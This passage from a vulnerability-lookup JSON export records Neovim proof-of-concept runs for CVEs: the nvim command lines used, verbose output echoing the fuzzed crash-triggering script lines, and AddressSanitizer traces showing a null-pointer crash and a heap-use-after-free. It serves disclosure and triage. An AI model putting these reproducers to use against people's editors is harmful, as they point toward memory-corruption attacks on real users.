do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #24 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #25 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #26 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #27 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #28 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #29 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #30 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #31 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #32 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #33 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #34 0x7f0a67003082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #35 0x467f6d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x467f6d)\n\nAddressSanitizer can not provide additional info.\nSUMMARY: AddressSanitizer: SEGV /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:3126:16 in f_fullcommand\n==36162==ABORTING\n\n\nCommand:\n./nvim-0.7.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func Test_fullcommand()\n\nline 4: \n\nline 5: call Test_fullcommand()\n\ncalling function Test_fullcommand()\n\nline 1:   call assert_equal('', fullcommand(10))\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==37683==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000000a (pc 0x00000094fd76 bp 0x7ffcb27d7770 sp 0x7ffcb27d74a0 T0)\n==37683==The signal is caused by a READ memory access.\n==37683==Hint: address points to the zero page.\n    #0 0x94fd76 in f_fullcommand /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2912:10\n    #1 0x825318 in call_internal_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:203:3\n    #2 0x8af549 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1589:15\n    #3 0x8ad0a5 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:458:11\n    #4 0x7e5874 in eval_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3324:13\n    #5 0x7e00d6 in eval7 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:4234:15\n    #6 0x7dd36e in eval6 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3912:7\n    #7 0x7dbcec in eval5 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3737:7\n    #8 0x7db070 in eval4 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3633:7\n    #9 0x7da9d7 in eval3 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3554:7\n    #10 0x7a47c7 in eval2 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3485:7\n    #11 0x7935ec in eval1 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3411:7\n    #12 0x8ace03 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:429:9\n    #13 0x8c7dc4 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2993:9\n    #14 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #15 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #16 0x8b2736 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1110:5\n    #17 0x8af2a3 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1576:11\n    #18 0x8ad0a5 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:458:11\n    #19 0x8c7dc4 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2993:9\n    #20 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #21 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #22 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #23 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #24 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #25 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #26 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #27 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #28 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #29 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #30 0x7fd5f4583082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #31 0x460f7d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x460f7d)\n\nAddressSanitizer can not provide additional info.\nSUMMARY: AddressSanitizer: SEGV /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2912:10 in f_fullcommand\n==37683==ABORTING", "creation_timestamp": "2026-09-06T13:52:32.332477Z"}, {"uuid": "531aa876-d99a-4601-a175-e0f8f0765afd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4733", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/58c6c1f67245ab9faa45606bfd51dde5", "content": "Command:\n./nvim-0.9.1 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nExecuting: so CVE-2023-4733\n\nline 0: sourcing \"CVE-2023-4733\"\nline 1: ^B\n\nError detected while processing command line..script /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/CVE-2023-4733:\nline    1:\nE492: Not an editor command: ^B\nline 2: \n\nline 3: o^P\ufffd\ufffd\ufffd\ufffd\ufffd&&&:^P&&&:^P^LfWe!^P^P^P^P^P^L^P^Q ^P^P^P^P^P w^AK9\",ees^P\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\<90>^P^\\ej^P^L^P^P^P^P0^P^P(^M^P^P^X\n\nline    3:\nE488: Trailing characters: ^P\ufffd\ufffd\ufffd\ufffd\ufffd&&&:^P&&&:^P^LfWe!^P^P^P^P^P^L^P^Q ^P^P^P^P^P w^AK9: o^P\ufffd\ufffd\ufffd\ufffd\ufffd&&&:^P&&&:^P^LfWe!^P^P^P^P^P^L^P^Q ^P^P^P^P^P w^AK9\nline 4: o^P^EO,'\n\nline    4:\nE488: Trailing characters: ^P^EO,': o^P^EO,'\nline 5: b\n\nline    5:\nE94: No matching buffer for \nline 6:  ^PN,'\n\nline    6:\nE492: Not an editor command:  ^PN,'\nline 7:  \n\nline 8: norm:a^P^P^P^L^P^Q ^P^P^P^P^PM^P^P^L^P^Q ^P^P^P^P*^P^P^P^P^P^P,^A^P ^Pq^P^P^M^P^P^Lorm:s^P\\\\\\\\\\\\\\|\\\\\\\\\\\\\\^I^I^S<80>^Vg^I^P^P^P^P^M^P^P^P^P^P^P^]^P^O^P^P^P^NSSSSSSsSCd K t0]<80> \n:a\n\nline 9: ^Po^Sd\n\nline    9:\nE492: Not an editor command: ^Po^Sd\nline 10: nFK\n\nline   10:\nE492: Not an editor command: nFK\nline 11: t<8b>^Dl<9c>ll\n\nline   11:\nE16: Invalid range\nline 12: d K2\n\nline 13: d ^?\n\nline   13:\nE488: Trailing characters: ^?: d ^?\nline 14: d K\n\nline 15: t0\n\nline 16: n(Q\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 16: unlet! b:keymap_name\n\nline 17: t0H\n\nline 18: d ^?2\n\nline   18:\nE488: Trailing characters: ^?2: d ^?2\nline 19: eGere ln\n\nline   19:\nE492: Not an editor command: eGere ln\nline 20: ln.lhe S$  ^_                 K\n\nline 21: t0\n\nline 22: }FKs<\n\nline   22:\nE492: Not an editor command: }FKs<\nline 23: se s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\n\nline   23:\nE518: Unknown option: s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\nline 24: -\n\nline 25: norm^E^E^Vm^E+^V<9b>;^V^V^El\n\nline 26: W\n\nline   26:\nE492: Not an editor command: W\nline 27: geeeeeeeeeeeee\n\nline   27:\nE492: Not an editor command: geeeeeeeeeeeee\nline 28: d<8b>\n\nline   28:\nE488: Trailing characters: <8b>: d<8b>\nline 29:  @^P\n\nline   29:\nE354: Invalid register name: ''\nline 30: dr<80>|e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 30: unlet! b:keymap_name\n\nline 30: e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 30: unlet! b:keymap_name\n\nline 31: ^P\n\nline   31:\nE492: Not an editor command: ^P\nline 32: u\n\nAlready at oldest change\nline 33: <90>\n\nline   33:\nE492: Not an editor command: <90>\nline 34: <80> @d\n\nline   34:\nE492: Not an editor command: <80> @d\nline 35: uc\\^A\n\nline   35:\nE488: Trailing characters: c\\^A: uc\\^A\nline 36: g<9a>\n\nline   36:\nE35: No previous regular expression\nE476: Invalid command\nline 37: r\n\nline   37:\nE484: Can't open file \nline 38: d<8b>2\n\nline   38:\nE488: Trailing characters: <8b>2: d<8b>2\nline 39: W K2d K\n\nline   39:\nE492: Not an editor command: W K2d K\nline 40: t0]\n\nline 41: ^Po\"d\n\nline   41:\nE492: Not an editor command: ^Po\"d\nline 42: <8f>FK\n\nline   42:\nE492: Not an editor command: <8f>FK\nline 43: <85><8b>^De<89>ll\n\nline   43:\nE492: Not an editor command: <85><8b>^De<89>ll\nline 44: d 92\n\nline 45: d ^?\n\nline   45:\nE488: Trailing characters: ^?: d ^?\nline 46: t\n\nline   46:\nE16: Invalid range\nline 47: nFK^Rd\n\nline   47:\nE492: Not an editor command: nFK^Rd\nline 48: t0]\n\nline 49: eere ln^P^P^X\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 49: unlet! b:keymap_name\n\nline 50: o^P^EO,'\n\nline   50:\nE488: Trailing characters: ^P^EO,': o^P^EO,'\nline 51: b\n\nline   51:\nE94: No matching buffer for \nline 52:  ^PN,'\n\nline   52:\nE492: Not an editor command:  ^PN,'\nline 53:  \n\nline 54: norm:a^P^P^P^L^P^Q ^P^P^P^P^PM^P^P^L^P^Q ^P^P^P^P*^P^P^P^P^P^P,^A^P ^Pq^P^P^M^P^P^Lorm:s^P\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\^I^I^S<80>^Vg^I^P^P^P^P^M^P^P^P^P^P^P^]^P^O^P^P^P^NSSSSSSsSSd K t0]<80> \n:a\n\nline 55: ^Po^Sd\n\nline   55:\nE492: Not an editor command: ^Po^Sd\nline 56: nFK\n\nline   56:\nE492: Not an editor command: nFK\nline 57: t<8b>^Dl<9c>ll\n\nline   57:\nE16: Invalid range\nline 58: d K2\n\nline 59: d ^?\n\nline   59:\nE488: Trailing characters: ^?: d ^?\nline 60: d K\n\nline 61: t0\n\nline 62: nFQ\n\nline   62:\nE492: Not an editor command: nFQ\nline 63: t0H\n\nline 64: d ^?2\n\nline   64:\nE488: Trailing characters: ^?2: d ^?2\nline 65: eGere ln\n\nline   65:\nE492: Not an editor command: eGere ln\nline 66: ln.lhe S$  ^_                 K\n\nline 67: t0\n\nline 68: }FKs<\n\nline   68:\nE492: Not an editor command: }FKs<\nline 69: se s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\n\nline   69:\nE518: Unknown option: s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\nline 70: -\n\nline 71: norm^E^E^Vm^E+^V<9b>;^V^V^El\n\nline 72: W\n\nline   72:\nE492: Not an editor command: W\nline 73: geeeeeeeeeeeee\n\nline   73:\nE492: Not an editor command: geeeeeeeeeeeee\nline 74: d<8b>\n\nline   74:\nE488: Trailing characters: <8b>: d<8b>\nline 75:  @^P\n\nline   75:\nE354: Invalid register name: ''\nline 76: dr<80>|e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 76: e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 77: ^P\n\nline   77:\nE492: Not an editor command: ^P\nline 78: u\n\n2 fewer lines; before #1  0 seconds ago\nline 79: <90>\n\nline   79:\nE492: Not an editor command: <90>\nline 80: <80> @d\n\nline   80:\nE492: Not an editor command: <80> @d\nline 81: uc\\^A\n\nline   81:\nE488: Trailing characters: c\\^A: uc\\^A\nline 82: g<9a>\n\nline   82:\nE35: No previous regular expression\nE476: Invalid command\nline 83: r\n\nline   83:\nE484: Can't open file \nline 84: d<8b>2\n\nline   84:\nE488: Trailing characters: <8b>2: d<8b>2\nline 85: W K2d K\n\nline   85:\nE492: Not an editor command: W K2d K\nline 86: i0]\n\nline   86:\nE488: Trailing characters: 0]: i0]\nline 87: ^Po\"d\n\nline   87:\nE492: Not an editor command: ^Po\"d\nline 88: <8f>F\u03fc^?<88>R<85><8b>^De<89>ll\n\nline   88:\nE492: Not an editor command: <8f>F\u03fc^?<88>R<85><8b>^De<89>ll\nline 89: d 92\n\nline 90: d ^?\n\nline   90:\nE488: Trailing characters: ^?: d ^?\nline 91: _ K\n\nline   91:\nE492: Not an editor command: _ K\nline 92: t\n\nline   92:\nE16: Invalid range\nline 93: nFK^Rd\n\nline   93:\nE492: Not an editor command: nFK^Rd\nline 94: t0]\n\nline 95: eere ln\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 95: unlet! b:keymap_name\n\nline 96: ln.lhe  $  ^_*        ooooooooo  :     2\n\nline 97: eGere ln\n\nline   97:\nE492: Not an editor command: eGere ln\nline 98: lnt0!\n\nline   98:\nE492: Not an editor command: lnt0!\nline 99: ^Po^Sd\n\nline   99:\nE492: Not an editor command: ^Po^Sd\nline 100: nFS\n\nline  100:\nE492: Not an editor command: nFS\nline 101: t\n\nline  101:\nE16: Invalid range\nline 102: t0] ^?\n\nline 103: ^Po K\n\nline  103:\nE492: Not an editor command: ^Po K\nline 104: t0] ^?\n\nline 105: nFK\n\nline  105:\nE492: Not an editor command: nFK\nline 106: t\n\nline  106:\nE16: Invalid range\nline 107: t0]\n\nline 108: ^Po\n\nline  108:\nE492: Not an editor command: ^Po\nline 109: norm:a^P^P^P^L^P^Q ^P^P^P<87>\n:a\n\nline 110: ggggggggggggggggggggg^Ngr\n\nline  110:\nE492: Not an editor command: ggggggggggggggggggggg^Ngr\nline 111: br^N(\n\nline  111:\nE488: Trailing characters: ^N(: br^N(\nline 112: ^\\elMl<84>\n\nline  112:\nE492: Not an editor command: ^\\elMl<84>\nline 113: new\n\nline 113: unlet! b:keymap_name\n\nline 114: autocmd ModeChanged v:* ++once close\n\nline 115: vnoremap x enew\n\nline 116: norm vx\nline 116: enew\n\nExecuting ModeChanged Autocommands for \"v:*\"\nautocommand close\n\nExecuting: close\n=================================================================\n==42398==ERROR: AddressSanitizer: heap-use-after-free on address 0x626000003160 at pc 0x0000006e35f5 bp 0x7ffd6cdc86e0 sp 0x7ffd6cdc86d8\nREAD of size 4 at 0x626000003160 thread T0\n    #0 0x6e35f4 in buflist_altfpos /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:3063:46\n    #1 0x9a51f1 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2232:9\n    #2 0x9f731b in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5269:9\n    #3 0x9fc5f8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5199:3\n    #4 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #5 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #6 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #7 0xd5668e in nv_colon /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:3238:18\n    #8 0xd4b60e in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1198:3\n    #9 0xd4810c in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6638:9\n    #10 0x9fa62a in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6496:5\n    #11 0x9fa386 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6479:3\n    #12 0xa0430b in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6411:7\n    #13 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #14 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #15 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #16 0xf44561 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2158:5\n    #17 0xf41384 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1708:14\n    #18 0xf410e0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1716:3\n    #19 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #20 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #21 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #22 0x9ccdd3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #23 0x51f8b4 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1892:5\n    #24 0x512acc in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:579:5\n    #25 0x7f9b25a0d082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #26 0x467fad in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.1-ASAN+0x467fad)\n\n0x626000003160 is located 96 bytes inside of 10640-byte region [0x626000003100,0x626000005a90)\nfreed by thread T0 here:\n    #0 0x4e046d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.1-ASAN+0x4e046d)\n    #1 0xc9d3d9 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:134:3\n    #2 0x6c523e in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1992:7\n    #3 0x6c8fe6 in apply_autocmds /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1602:10\n    #4 0x10669ff in may_trigger_modechanged /home/zzw/Desktop/neovim/build/../src/nvim/state.c:266:3\n    #5 0xd3a347 in end_visual_mode /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1490:3\n    #6 0xd3a554 in reset_VIsual /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1507:5\n    #7 0x9a4e38 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2205:3\n    #8 0x9f731b in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5269:9\n    #9 0x9fc5f8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5199:3\n    #10 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #11 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #12 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #13 0xd5668e in nv_colon /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:3238:18\n    #14 0xd4b60e in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1198:3\n    #15 0xd4810c in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6638:9\n    #16 0x9fa62a in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6496:5\n    #17 0x9fa386 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6479:3\n    #18 0xa0430b in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6411:7\n    #19 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #20 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #21 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #22 0xf44561 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2158:5\n    #23 0xf41384 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1708:14\n    #24 0xf410e0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1716:3\n    #25 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #26 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #27 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #28 0x9ccdd3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #29 0x51f8b4 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1892:5\n\npreviously allocated by thread T0 here:\n    #0 0x4e0862 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.1-ASAN+0x4e0862)\n    #1 0xc9d473 in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:148:15\n    #2 0x1250bcb in win_alloc /home/zzw/Desktop/neovim/build/../src/nvim/window.c:5014:19\n    #3 0x125ff96 in win_split_ins /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1306:12\n    #4 0x1248449 in win_split /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1071:10\n    #5 0x9f5bc9 in ex_splitview /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:4999:14\n    #6 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #7 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #8 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #9 0xf44561 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2158:5\n    #10 0xf41384 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1708:14\n    #11 0xf410e0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1716:3\n    #12 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #13 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #14 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #15 0x9ccdd3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #16 0x51f8b4 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1892:5\n    #17 0x512acc in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:579:5\n    #18 0x7f9b25a0d082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:3063:46 in buflist_altfpos\nShadow bytes around the buggy address:\n  0x0c4c7fff85d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff85e0: fa fa fa fa fa fa fa fa fa fa 